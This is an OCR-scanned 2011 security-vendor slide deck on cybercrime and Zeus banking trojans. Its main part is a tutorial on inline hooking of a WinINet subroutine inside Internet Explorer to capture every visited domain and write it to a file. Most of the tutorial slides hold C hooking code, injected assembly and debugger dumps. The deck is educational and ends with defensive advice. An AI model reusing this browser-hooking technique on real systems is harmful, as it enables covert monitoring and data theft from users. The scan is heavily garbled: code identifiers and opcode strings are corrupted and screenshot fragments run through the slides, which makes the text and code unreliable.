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CYBERCRIME KEY POINTS HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

ONE OF THE MAJOR PROBLEMS THAT EXIST TODAY IN
THE INTERNET 1S A WHOLE UNDERGROUND
MARKETPLACE.

BUSINESS ECOSYSTEM BUILD AROUND ONLINE
CYBERCRIME.

THE ONLINE CRIMINALS INVEST TOO MUgH MONEY IN
THEIR TARGETED ATTACKS.

~

THEY ARE HIRING PROGRAMMERS, TEgl
THEIR SKILLS TO ACHIEVED THEIR EVII‘:‘F’URP*ES

\
CRIMINALS STUDY SECURITY PROFESSIONAL'S HA
TO WORKAROUND THE SECURITY DEFENS
PLACE. “
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IS IT ENOUGHT? FUT e it TR

THE CCIPS 1S THE COMPUTER CRIME AND
INTELLECTUAL PROPERTY SECTION.

1S RESPONSIBLE FOR IMPLEMENTING
DEPARTMENT S NATIONAL STRATEGIES
COMBATING COMPUTER CRIMES WORLDWIDE.

THEY PREVENTS, INVESTIGATES, AND PROSECUTES
COMPUTER CRIMES.

THEY WORK WITH OTHER GOVERNMENT AGENCIES,
PRIVATE SECTORS, ACADEMIC INSTITUTIONS, AND
FOREIGN COUNTERPARTS.

Computer Crime & Intellectual Property Section
United States Department of Justice
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BUT... TODAY REALITY REMAINS THIs HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

.
(4 E-mail this page | & Print this page | | BOOKMARK of 52 & .. Mo mmlnu‘to S'es
- Hace unos dias, multitud de medios publicaban una noticia que alertaba sobre Ia propagacién
WO rm M 0 rp h S , Attac ks del troyane Zeus, concretamente la de una nueva version Daullz%j{a c’omoﬂ\n The
Banks With Zeus-Like
Features

Revamped Ramnit malware 'a powerful weapon,’
researcher says

Aug 23 2011 10:24 PM | 0 Comments

By Kelly Jackson Higgins

Dark Reading

Banks in the U.S. and UK. are under attack by a newly retooled worm that
incorporates features from the infamous Zeus and SpyEye financial fraud
Trojans.

Ayelet Heyman, senior malware researcher for Trusteer, calls the so-called

Ramnit "a powerful weapon_” The Ramnit malware has been around for Don't bank on your phone —it COUld be
about 18 months, and was recently discovered sporting Zeus-like

L] - 1
capabilities, g L code injection into browsers in order to game haCked by Zeus tI'OJ an horse

Malware attacks Android phones to steal financial data as security
experts warn of 'fraudsters' heaven'

creates

Ramni
accor

: L L \ ing-
Etats-Unis : les autorités inculpent 60 ® wee Banklng Kunden
personnes pour Cybel'dé"nquance - BERN - Malware has nothing to do with the paint box of our little ones. This

can be seen in online banking at the latest when the account is suddenly
LEMONDE.FR avec AFP et AP | 01.10.10 [ 10h23 - Mis & jour e 01.10.10| 11h09 empty.
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HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

RECENT CYBERCRIME CASE

£5% Department of Justice

FOR IMMEDIATE RELEASE CRM
THURSDAY, APRIL 21, 2011 (202) 514-2008
WWW.JUSTICE.GOV TDD (202) 514-1888

\ HACKER PLEADS GUILTY TO IDENTITY THEFT AND CREDIT CARD FRAUD
RESULTING IN LOSSES OF MORE THAN $36 MILLION

WASHINGTON — Rogelio Hackett Ir., 26, of Lithonia, Ga., pleaded guilty today before U.S,
District Judge Anthony J. Trenga in Alexandria, Va., to trafficking in counterfeit credit cards and
aggravated identity theft, announced Assistant Attorney General Lanny A. Breuer of the Criminal
Division and U.S. Attorney Neil H. MacBride for the Eastern District of Virginia.

According to court documents, U.S. Secret Service special agents executing a search warrant
in 2009 at Hackett’sjhome found more than 675.000 stolen credit card numbers and related
information in his computers and email accounts. Hackett admitted in a court filing that since at least
2002, he has been trafficking in eredit card information he obtained either by hacking into business
computer networks and downloading or purchasing the information from others
using the Internet through various “dfrding forums.” These forums are online discussion groups used
by “carders” to traffic in credit carg/and other personal identifying information.

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH




11| [[TTs—1 (1 .
THE THREATS HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

MALICIOUS SOFTWARE ALSO KNOWN AS
“MALWARE?” CAN COMPROMISE THE SECURITY AND
FUNCTIONALITY OF A COMPUTER.

g CAN USERS PRIVACOY, DAMAGE
COMPUTER 3 IDENTITIES, OR
SPONTANEOUSL

LINKS.

-

it
NFAWE EALL “A ZOMBIE
ARMY’”, TO MOUNT DISTRIBUTED DENIAL OF SERVICE
ATTACKS (DD0OS).

ONCE INSTALLED IN A COMPUTER IT MONITORS THE
USER’S INTERNET BROWSING HABITS.
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EXPLOITING INTERNET CAPABILITIES HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

CYBERCRIMINALS USE THE GLOBAL NATURE OF
INTERNET TO TAKE ADVANTAGE.

THEY PROFIT OF THE NON-EXISTENCE OF A WELL

ORGANIZED INTERNATIONAL CYBERCRIME POLICE
THAT COULD PREVENT THESE KIND OF OPERATIONS.
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HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

THE WORST BANKS ENEMY

IT’S BEEN CALLED THE ‘SECOND BANK CRISIS’, AND
THIS TIME THE CAUSE IS A PIECE OF MALCODE.

1T CAN STEAL MILLIONS FROM ONLINE BANK
ACCOUNTS WITH APPARENT IMPUNITY.

IT’ S NAME IS ZEUS 0OR ZBOT AND
CLEVER.

PONCT W

20
F%r‘a“d

A GANG OF JUST NINETEEN PERS\E’,{M M/
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HOw EASY IT IS TO STOLE PRIVATE INFORMATION HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

IN THE PARTICULAR CASE OF ZEUS TROJAN, IT USES INLINE
HOOKING TO TAKE CONTROL OVER KEY COMPONENTS OF
MICROSOFT WINDOWS APPLICATIONS.

WE ALREADY COVERED WHAT INLINE HOOKING IS IN THE PREVIOUS
ARTI E LE L] PREVIOUS ARTICLE

IN TODAY EXAMPLE WE ARE GOING TO INTERCEPT AND GRAB
TRIVIAL INFORMATION FROM INTERNET EXPLORER.

THE EXAMPLE COVERS INLINE HOOKING WITHOUT USING
SPECIFICALLY A WINDOWS API, BUT A SUBROUTINE oF
INTERNETCONNECTW EXPORTED FROM WININET.DLL.

THE GOAL IS TO DEMONSTRATE THAT POSSIBILITIES ABOUT INLINE
HOOKING ARE WITHOUT LIMITS IF ONE TAKE CARE OF ALL THE
DETAILS.

AS A TEST ENVIRONMENT WE USED AN ENGLISH WINDOWS SEVEN
DISTRIBUTION WITH INTERNET EXPLORER 8.0 VERSION.
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PRACTICAL EXAMPLE (1) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

IN THIS EXAMPLE WE HOOK SEVERAL WININET
FUNCTIONS WITHOUT NECESSARILY USING THEM.

THE GOAL IS TO SHOW HOW EASY A MASSIVE API

HOOKING CAN BE.

THE CODE CAN BE MODIFIED TO ADD MORE APIS TO
THE APINAME ARRAY.

EXISTS THREE MAIN FUNCTIONS:

PATCHPREAMBLE
CALCULATEANDWRITEJUMP

CALCULATEANDWRITETRAMPOLINE
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PRACTICAL EXAMPLE (2) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

FUNCTIONS DECLARED WITH THE NAKED ATTRIBUTE ARE
EMITTED WITHOUT PROLOG OR EPILOG CODE, ENABLING
YOU TO WRITE YOUR OWN OCUSTOM PROLOG/EPILOG
SEQUENCES USING THE INLINE ASSEMBLER.

SINCE THE NAKED DIRECTIVE IS NOT AVAILABLE IN DEV-
CPP X86 THE PATCHPREAMBLE FUNCTION WILL REWRITE

THE HOOK FUNCTION PROLOG WITH NO OPERATION (NOP)

OPCODES. WE CAN LATER TAKE CARE OF OUR OWN
PROLOG IF IT’S NEEDED.

/4 We patch the preamble prolog in our hook functions.
volid PatchPreamble (LEVOID *Targethddress)
{
DWCORD lpProtect = 0;
char FPatchPreambleOpcode[] = "W\®90%x90%x30";
VirtualProtect (Targethddress, 0x3, PAGE EXECUTE RELDWRITE, £1lpProtect) ;
memcpy (Targethddress, PatchPreambleCpoode, 0X3)
VirtualProtect (Targethddress, Ox3, PAGE EXECUTE EREAD, £lpProtect):

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH
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HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

CALCULATEANDWRITEJUMP WILL COMPUTE AND
WRITE THE JUMP CODE FROM THE HOOKED API TO

OUR HOOK FUNCTION, USING THE FIRST 5 BYTES.

WE ARE NOT DISASSEMBLING THE CODE FIRST BUT
ASSUMING THAT WE ARE DEALING WITH A MOV
EDI,EDI — PUSH EBP — MOV EBP,ESP PROLOG.

void CalculatefndWritedJump (LEVOID *hAddresseFakelpi, LPVCOID *AddressiPI)
{
CHAR Jmplpcode[5] = " xES9YxBAN\XEBE\XBA\XEE";
DWCRD 1lpProtect = 0:
LEVCOID Calculateddump;
LEPVOID JumpTo;
CalculateddJump = (LPVOID)AddresseFakelpi - (LPVOID)AddressiPI;
JunpTo = Calculateddunp — 0x5;
VirtualProtect (AddressAPT, Ox5, PAGE EXECUTE READWRITE, £lpProtect):
mencpy (Jnplpcode+l, &JunpTo, 0x4) ;
memncpy (AddressaPT, & JnpOpcode, 0x5) -
VirtwalProtect (AddressAPT, 0x5, PAGE EXECUTE READ, &lpProtect);
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PRACTICAL EXAMPLE (4) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

CALCULATEANDWRITETRAMPOLINE WILL WRITE THE TRAMPOLINE 300 BYTES
LATER FROM THE PATCHED PROLOG. SINCE WE CALCULATE AROUND 400

BYTES FOR THE HOOK FUNCTION CODE, THE GCC STANDARD EPILOGUE (POP

EBP — RETN) wWILL NEVER BE HIT.

IT EXISTS AN [IDENTIFIER NAMED TOTRAMPOLINEBYTES THAT GCAN BE
MODIFIED TO ADD MORE SPACE TO INJECT OUR C orR ASM cODE, BUT DO
NOT FORGET TO ADD MORE NOPS INSTRUCTIONS INTO THE HOOK FUNCTION,
OTHERWISE YOU WILL WRITE OUT OF BORDERS.

vold CalculatedndWriteTrampoline (LEVOID *AddresseFakefpi, LPVOID *addressiPT)

i
DWORD lpProtect;
DWCRD l1pProtectm.
CHLR JuopCpcode [5]
CHAR Preamble[S]
LEVOID Trampoline
LEVCOID JumpFrom
LEVCID JumpTo

"W RESWKDE\XAD\XBEWXEF" ;
™y x8B\xFF\x55\x8B\xEC" ;
{(LEVOID) AddressAPT + 0Ox5;
(LEVOID) AddresseFakefApi + ToTrampolineBytes:
(LEVOID) Trampoline — (LPVOID) JumpFrom — O0x5;

LEVOID PutPreamble = (LPVCID) JumpFrom - 0x5;

S /Disable memory protection to write Preamble

VirtualProtect (JumpFrom, 0x5, PAGE EXECUTE READWRITE, alpProtectm) ;
memcpy (FutPreamkble, ePreamble, 0x5) ;2

A #Enable memory protecticon preamble writse.

VirtualProtect (JumpFrom, 0x5, PAGE EXECUTE READ, &lpProtectm) ;

A4 Disakbled memory protection to write Jump

VirtualProtect (JumpFrom, 0x5, PAGE EXECUTE READWRITE, &élpProtect):
memcpy (Jnplpcode+l, 8 JunpTo, Ox4) 7

memcpy (JumpFrom, e JopOpcode, 0xE5)

A #Enable memory protectieon write Jump

VirtualProtect (JumpFrom, 0x5, PAGE EXECUTE READ, &lpProtect):
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PRACTICAL EXAMPLE (5) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

" THIS IS THE SCENARIO ONCE THE API IS HOOKED. EXAMPLE OF
INTERNETCONNECTW.

7685043 F SUB ESP.28
76350442 PUSH EBX
76850443 A0R EBH.EBX
763568445 MOU
76858448 MOU
76850448 MOU
'Y685H44E MOU

7685A442 53 PUSH EBXH
7685A443 33DB ROR EBX .EB3
7685A445 895D EA MOU
7685A448 89%D DC MOU
76850448  £95D DR MOU

6BAALSCA

6BAB16D? 9204 NOP

6BAA16DA 8BFF MOU EDI . EDI

6BAB16DCE 55 PUSH EBP

6BAA16DD 8BEC MOU EBF.ESP

6biwioDF  E? SBEDE4BA WINIMET . ?685843F
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PRACTICAL EXAMPLE (e) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

" AS WE SAID BEFORE , WE ARE NOT GOING TO LEVERAGE
ANY WININET API BUT A SUBROUTINE OoF
INTERNETCONNECTW FUNCTION.

E? 74111BF5 Inline.6BAB15B3

83EC 28 SUB ESFP.28

53 PUSH EBX

33DE HO0R ERX.EBX

495D EA MOU

895D DC MOU

495D D& MOU

895D EC MOU

495D E8 MOU

895D E4 MOU

495D F4 MOU

895D FC MOU

495D F8 MOU

895D FA MOU

325D ac CHMP

AF84 22DFA308 WINIMET . 7688E3RBE

Fa LEA EAH.

PUSH EAX
LEA EAH.
PUSH EAX
PUSH -1

PUSH
WINIHET . ?6845DCD
8945 @C MOU -EAX
JBC3 CMFP EfAHd.EBA
75 3C SHORT WINIMET.?768584C1
56 PUSH ESI
PUSH EDI
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PRACTICAL EXAMPLE 7) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

" TO SUCCESSFULLY HOOK THIS SUBROUTINE WITHOUT
HARDCODING ANY ADDRESS WE.:

ADD THE NUMBER OF BYTES TO REACH THE CALL WININET.76845DCD 1O
THE ADDRESS OF INTERNETCONNECTW.

8B45 8C MOU EAX. WININET . InternetConnectl
83CA 3F ADD EAX.3F

-EAX
»,6BAB11D6
-EAR

9424
E8 40F?FFFF 6BAB24A4

FROM THIS ADDRESS WE TAKE THE NEXT FOUR BYTES SKIPPING THE OXES8S
OPCODE.

EAX .
ERx

EAX .

hBAA3168 JMP to msvcrt.memcpy
EnX .
EnAX .
ERAX .5

— FINALLY WE ADD 5 MORE BYTES.

DWCRD CalculatedJumpFromCall (DWCRD *Targetihddress, DWCRD *AddressFakeSubRoutine)
{

DWOED Calculer,AddressToHook;

({DWCRD) Calculer = (DWCORD)TargetRAddress;

DWCRD Cpcodes = "Yx30%\=x90%\x30%x30";

memcpy (&0pcodes, (DWORD) Targethddress+0xl, 0x4):

(DWORD) AddressToHook = (DWCORD) Targetihddress + (DWORD)COpcodes + 0x5;

return AddressToHook:
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PRACTICAL EXAMPLE (8 HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

" ONCE THE SUBROUTINE ADDRESS IS OBTAINED WE CAN
FOLLOW THE AFOREMENTIONED STEPS:

— PATCHPREAMBLE.
— CALCULATEANDWRITEJUMP.

— CALCULATEANDWRITETRAMPOLINE.

43EC ac SUB ESP.@AC
=1 PUSH ESI1
4B35 4W218EY6 MOU ESI.DWORD PTR DS:[768E914@1] kernel3d2 . IdnToAscii
5?7 PUSH EDI
s0R EDI.EDI
PUSH EDI
6845DEA PUSH EDI
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PRACTICAL EXAMPLE (9) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

" THE HOOKED SUBROUTINE CALLS IDNTOASCII API
EXPORTED FROM KERNEL32 MODULE WHICH
CONVERTS AN INTERNATIONALIZED DOMAIN NAME

(IDN) OR ANOTHER INTERNATIONALIZED LABEL TO A

UNICODE REPRESENTATION OF THE ASCIlI STRING
THAT REPRESENTS THE NAME IN THE PUNYCODE
TRANSFER ENCODING SYNTAX.

AS WE ARE INTERESTED IN INTERCEPTING ALL
VISITED DOMAIN NAMES WE WILL GRAB EACH AND
EVERY ACCESSED WEBSITE IN ASCII FORMAT FROM A
STACK BUFFER POINTER.
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2iliY+ lemtwhcPkbzr.s? Code auditor and software assessment specialist nesded

Inline.6BAB11DA
SUB ESP.BC
PUSH ESI
MOU ESI.DWORD PTR DS:[768E?14@1
PUSH EDI

ROR EDI,EDI
PUSH EDI

EH%H EP(I,RD {2 Clil.com International - Breaking,

kernel32.IdnToAscii

MOU DUWORD P

PUSH DUWORD R&C) v E an.com,

MOU DUORD P

PUSH EDI
ESI

HOU DUORD P .

CHMP Eq¥.EDI mCNN.comInternational-Breahng. World, Business, 5... o - | M= - Page - Séurité - Outls - @)~ »

Favoris - g Bing #  Customize Links

EDITION: INTERNATIONAL |IL& | NEXICO | ARABIC
Set edition preference

LEA EAX, DUO
PUSH En% Home
HOU EAX, DYO
PUSH 2
POP ECX
UL ECR

PUSH EDX . Watch live: U.S. President Barack Obama de

PUSH EAR
o NE Breaking news

TEST EAX.ERA
SHORT VI
PUSH EBX
PUSH DWORD
PUSH EDI
DWORD
PUSH_DWORD
MOU EBX . EAX
PUSH EBX

General Assembly.

Juh=0"07
EPEPUuUZDR Zuiig L
—ui +.lﬂ'aml uh—#g
“a, [’ =d¥26-3
w4V i egtMFE T 1T
B¢ {1l xif

4| Registers (FPU)
BR1CERIC
BR1CEEARA
ARARARAR
ARARARAA
AR1CEE34
BA1CEBAC
ARARARER
BOEAFDEY?

76845DCD WIMINET.?76845DCD

ES 8823 32hit B(FFFFFFFF)

CS B@1B 32bit B(FFFFFFFF)

88 8823 32hit B(FFFFFFFF)

DS B@23 32bit B(FFFFFFFF)

FS 8838 32hit 7FFDFROA(4000)
GS 066 MULL

LastErr ERROR_SUCCESS (B0PBBOAG>
AARAA246 (NO.MB.E.BE.NS.FE.GE.LE>

enpty B.ARAARANEPPRAARAREARE
enpty B.ARRARANERPRRRARRRAAGRA
enpty B.PAPBRPREARAEEARRRAAA
enpty B.AR0ARANERPERRAROREARE
enpty B.PAPBRPREARAEEARRRAAA
enpty B.AR0ARANERPERRAROREARE
enpty B.PAPBRPRAARAREARRRAAA
enpty 1.25197751666951378333—3&20
THI20 Cond B PB1 Err BB108
! B27F Prec NEAR.53 HMask 111

7684635F RETURN to WINIMET.?684635F from WINIMET.76845DCD
BA2ZEC?6E . UNICODE “edition.cnn.com”

PAARRRAF %

BA1CERIC

AA1C8B9A E

FFFFFFFF

AA1CBECC |¥-. UNICODE “http://edition.cnn.com/favicon.ico"
15151512755 1 I

BaEaRa3Cc <{...

@5814468 hDii%® ASCII "http:/redition.cnn.con/favicon.ico"
BeAAEEAY *. ..

oDii® ASCII “edition.cnn.com/favicon.ico"
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PRACTICAL EXAMPLE (11) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

" WHEN THE USER BROWSES THE INTERNET, SOME

WEBSITES CAUSES THE CHANGE O0OF THE STACK
ORDERING.

" THIS 1S A NORMAL BEHAVIOR AS
INTERNETSETOPTIONS API AND OTHERS INTER
MODULAR CALLS cCcOULD CHANGE THE STACK IN
DIFFERENT WAYS.

" THAT’S WHY IT IS IMPORTANT TO ANALYSE ALL THE
DIFFERENT BEHAVIOURS WHEN WE START TO HOOK
WINDOWS INTERNALS PROCEDURES.
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PRACTICAL EXAMPLE (12) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

IN OUR EXAMPLE WE WILL JUST PUT A CONDITION
TO CONTROL A STACK VALUE.

WE ANALYSE IF FROM EBP REGISTER IT EXITS THE
NSERVERPORT VALUE OF THE PRECEDENT
INTERNETCONNECTW API.

THIS VALUE CAN BE 0OxX1BB 0oOrR 0OX50 WwWHICH
CORRESPOND TO SSL OR NOT SSL CONNECTION.

IF THIS VALUE EXISTS WE KNOW THAT TwWO DWORDS
UPPER WE CAN FIND OUR POINTER TO THE WEBSITE
NAME.
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PRACTICAL EXAMPLE (13) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

WE COULD IMPLEMENTED THE EXAMPLE IN OTHER

“SIMPLER WAYS?”, BUT DOING THINGS ALWAYS IN A

EASIER AND SIMPLER WAY IT’S NOT ALWAYS GOOD
TO LEARN.

SOME HOOK FUNCTION CODE WAS WRITTEN IN ANSI
C.

OTHER PARTS OF CODE IS INAdECTED AS RAW BINARY
CODE.

SO LET’S SEE HOW THE CODE IS IMPLEMENTED.
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PRACTICAL EXAMPLE (14) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

cBAB11 DA B :E ] MOU EAX.
83F8 58 CHMF EAX .58
24 14 SHORT GBAB11EC WE TEST IF THE PORT CONNECTION VALUE IS 80 orR 443. IF
3D BBEOA1BAEEE CHP EFI:':,:[BB VALUE IS ONE OF BOTH WE JUMP TO OX6BA011EC
74 @D SHORT G6BAB11EC

Da ! & IF IT’S NOT WE DO NOTHING AND WE JUMP AGAIN INTO THE
EBHEIIEE E%EG ﬁgEHEEEPEEP HOOKED SUBROUTINE AFTER SETTING THE STACK CORRECTLY.
6EAB11E4  E? E?4BE48A WININET . 76845DD2

NOP
NOP
NOP
PUSH

PUEH WE SAVE THREE POINTERS THAT WILL BE OVERWRITTEN WITH
PUSH FOPEN, FPUTS AND FCLOSE POINTERS.

BEBAADDE PUSH DEADBABE
BEBAADDE PUSH DEADEABE
BEBAADDE FUSH DEADBABE
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PRACTICAL EXAMPLE (15) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

C78424 BB58AB6E HMOU -6BABSBBA ASCII “"msvcrt.dll"

EE 7E1FBBBA 6BAB31968 JHF to kerneliZ.GetModuleHandlef
83EC B4 ZUB ESFP.4

C74424 B4 BBS5B8AE MOU -6BEABSBBE ASCII “fopen"

878424 HOou ~EAR

E8 7B1FBBRAd 6BAA3I1AA JHP to kernel32.GetProcAddress
83EC B8 ZUB ESF.8

8945 FC HOU -EAX

C78424 BB58AB6E HOU -6BABSBB6E ASCII “"msvcrt.dll"

EE 591 FB0BA 6BAB31968 JHF to kerneliZ.GetModuleHandlef
83EC B4 ZUB ESFP.4

C74424 B4 11568AF MOU -6BABSA11 ASCII “fputs"'

878424 HOou ~EAR

E8 561 FBBRAH 6BAA3I1AA JHP to kernel32.GetProcAddress
83EC B8 ZUB ESF.8

8945 F8 HOU -EAX

C78424 BB58AB6E HOU -6BABSBB6E ASCII “"msvcrt.dll"

EE 341 FBBBRA 6BAB31968 JHF to kerneliZ.GetModuleHandlef
83EC B4 ZUB ESFP.4

C74424 B4 175680 MOU -6BABSALT ASCII “fclose"

878424 HOou ~EAR

E8 311FBB@a@ 6BAA3I1AA JHP to kernel32.GetProcAddress

WE SEARCH THE AFOREMENTIONED POINTERS

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH
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PRACTICAL EXAMPLE 16) R e e PNV

INFORMATION SECURITY SOLUTIONS

6BAB127S G6A B8 PUSH @

6BAB127Y 68 2ZEV47874 PUSH 7478742E

Eggging Eg Egggggg% gﬂgn E%Eggggg WE PUSH THE PATH AND FILENAME, THE APPEND FOPEN
EBHE:l.ZBE EH PUSH E ARGUMENT, AND A CARRIAGE RETURN CHARACTER.
6BAB1288 &R PUSH 61

6BAB12EA 68 BABBEEEA PUSH BnBBBBBA

6BAA128F 8D4424 @4 LEA EAX.

6BAA1293 BD5424 BAC LEA EDX.

6BAA1297 5@ PUSH EnX

6BAB1298 52 PUSH EDH

6BAA129? 8B45 FC MOU EfX.

6BABA12?C FFDA EnX

6BAB122E 508 PUSH EnX

6BAB12?F FF/S B PUSH

6BAB12AZ2 8B4AS5 FB MOU EAX. WE OPEN THE FILE AND GRAB THE DOMAIN NAME, FOLLOWED
6BAA12ZAS FFDA ERX BY A CARRIAGE RETURN, AND WE CLOSE THE FILE HANDLE.
6BAA12ATY FF7424 @4 PUSH

6BAB12AE E8D4424 14 LEA EAX.

6BAB12AF 58 PUSH EnX

6BAB12BA 3B45 F3 MOU EAX .

6BAA12B3 FFDA EnX

6BAB12BS 5B POP EBH

6BAA12B6 8B45 F4 MOU EfX.

6BAB12B? FFDA EfX

6BAB12BE 5B POP EBX

6BAB12BC 5B POP EBH

6BAB12BD 5B POP EBX

6BAB12ZBE 5B POP EBH

6BAB12BF G5B POP EBX

6BAB12CA 5B POP EBH

6BAB12C1 5B POP EBX

GBAAL2C2? LB POP EBX WE UNSTACK ARGUMENTS UNTIL WE REACH OUR SAVED
6BAB12C3 G5B POP EBX POINTERS.

6BABA12C4 5B POP EBH

6BAB12CS 5B POP EBX

6BAB12CE 5B POP EBH

6BAB12CY 5B POP EBX

6BAB12CE 5B POP EBH

6BAB12C? 5B POP EBX

6BAB12CA 5B POP EBH

6BAB12CE 895D F4 [y [0l

Egggiggg ﬁgﬁ EBA WE PUT THE SAVED POINTERS AT THE SAME PLACE THEY
6BAA12D2 POP EBH WERE BEFORE.

6BAB12D3 895D FC MOU
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NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
HOP S WE DO NOTHING UNTIL WE REACH THE TRAMPOLINE
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
MOU EDI .EDI

PUEH EBP WE SET UP THE STACK AND WE JUMP AGAIN INTO THE

“Ou EBPJ-EEP INTERNETCONNECTW SUBROUTINE.

WINIHET . 76845DD2

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH




1| [TT—| " .
PRACTICAL EXAMPLE (18) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

THE IMPLEMENTATION OF THE ‘“RAW BINARY CODE”
COULD BE DONE IN MANY DIFFERENT WAYS.

WE CAN ALWAYS OPTIMIZE THE ASSEMBLER CODE.

IT IS VERY IMPORTANT TO NOT OVERCHARGED THE
APPLICATION.

IF WE ADD T0OO MUCH CODE THE PROGRAM
PERFORMANCE COULD SUFFER.

TEST THE APPLICATION TO CHECK IF AFTER THE
CODE INDJECTION THE PROGRAM BEHAVIOUR
REMAINS THE SAME.
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INFORMATION SECURITY SOLUTIONS

STEALING INFORMATION FROM WELL-KNOWN
WINDOWS APPLICATION REMAINS VERY EASY.

MORE DANGEROUS SCENARIOS WILL STEAL ALL THE
INFORMATION THAT THE USER SEND AND RECEIVE,
INCLUDING, PASSWORDS, CREDIT CARD NUMBERS,

AND OTHER SENSITIVE DATA.

USERS MUST ALWAYS PROTECT THEMSELVES WITH
PROACTIVE APPLICATIONS THAT DETECT AND STOP
PROGRAM INJECTION ON THE FLY.

DO NOT RELY ONLY IN “SECURITY PROGRAMS” BUT
IN A PROACTIVE AUDIT OF YOUR SYSTEMS.
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THANK-YOU FOR READING R T —ree R IR

INFORMATION SECURITY SOLUTIONS

THANK-YOU FOR READING

YOUR QUESTIONS ARE ALWAYS WELCOME!

BRIAN.MARIANI[ATIHTBRIDGE.CH
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HTTP:!/WWW.BBC.CO.UK/NEWS/TECHNOLOGY-10865568

HTTP:!/WWW.DARKREADING.COM/ADVANCED-
THREATS/16790109 1/SECURITY/ATTACKS-BREACHES/23 15006 19/WORM-
MORPHS-ATTACKS-BANKS-WITH-ZEUS-LIKE-FEATURES.HTML

HTTP:/BITS.BLOGS.NYTIMES.COM/2009/08/20/HOW-HACKERS-SNATCH-REAL-TIME-
SECURITY-ID-NUMBERS

HTTP:!/MONEY.CNN.COM/201 D/DQ/BD/TEGHNDLEIGY/CYBER_CRIME_EHAREES/INDEX

«HTM

HTTP:/VOICES.WASHINGTONPOST.COM/SECURITYFIX/2009/1 D/LIBIQIJITEIIJS_ZELIS_
TROJAN_TARGETS.HTML

HTTP:!/WWW.YOUTUBE.COM/WATCH?V=CF3zZXHUSM2Y

HTTP:!/NEWS.TECHWORLD.COM/SECURITY/3241594/POLICE-ARREST-GANG-
BEHIND-20-MILLION-ONLINE-BANK-FRAUD/

HTTP:!/WWW.CYBERCRIME.GOV/HACKETTPLEA.PDF

HTTP!/WWW.LEMONDE.FR/TECHNOLOGIES/ARTICLE/2010/10/0 1/ETATS-UNIS-LES-
AUTORITES-INCULPENT-60-PERSONNES-POUR-
CYBERDELINQUANCE _1418641_651865.HTML

HTTPY//WWW.20OMINUTOS.ES/NOTICIA/830501/0/VIRUS/TELEFONOS/MOVILES/
HTTP:!/MSDN.MICROSOFT.COM/EN-US/LIBRARY/DD318149%28v=Vvs.85%29.AS5PX

HTTP:/BLOGS.TECHWORLD.COM/WAR-ON-ERROR/20 1 0/09/THE-ZEUS-TROJAN-IS-
STEALING-MONEY-WITH-IMPUNITY-CAN-IT-BE-STOPPED/INDEX.HTM
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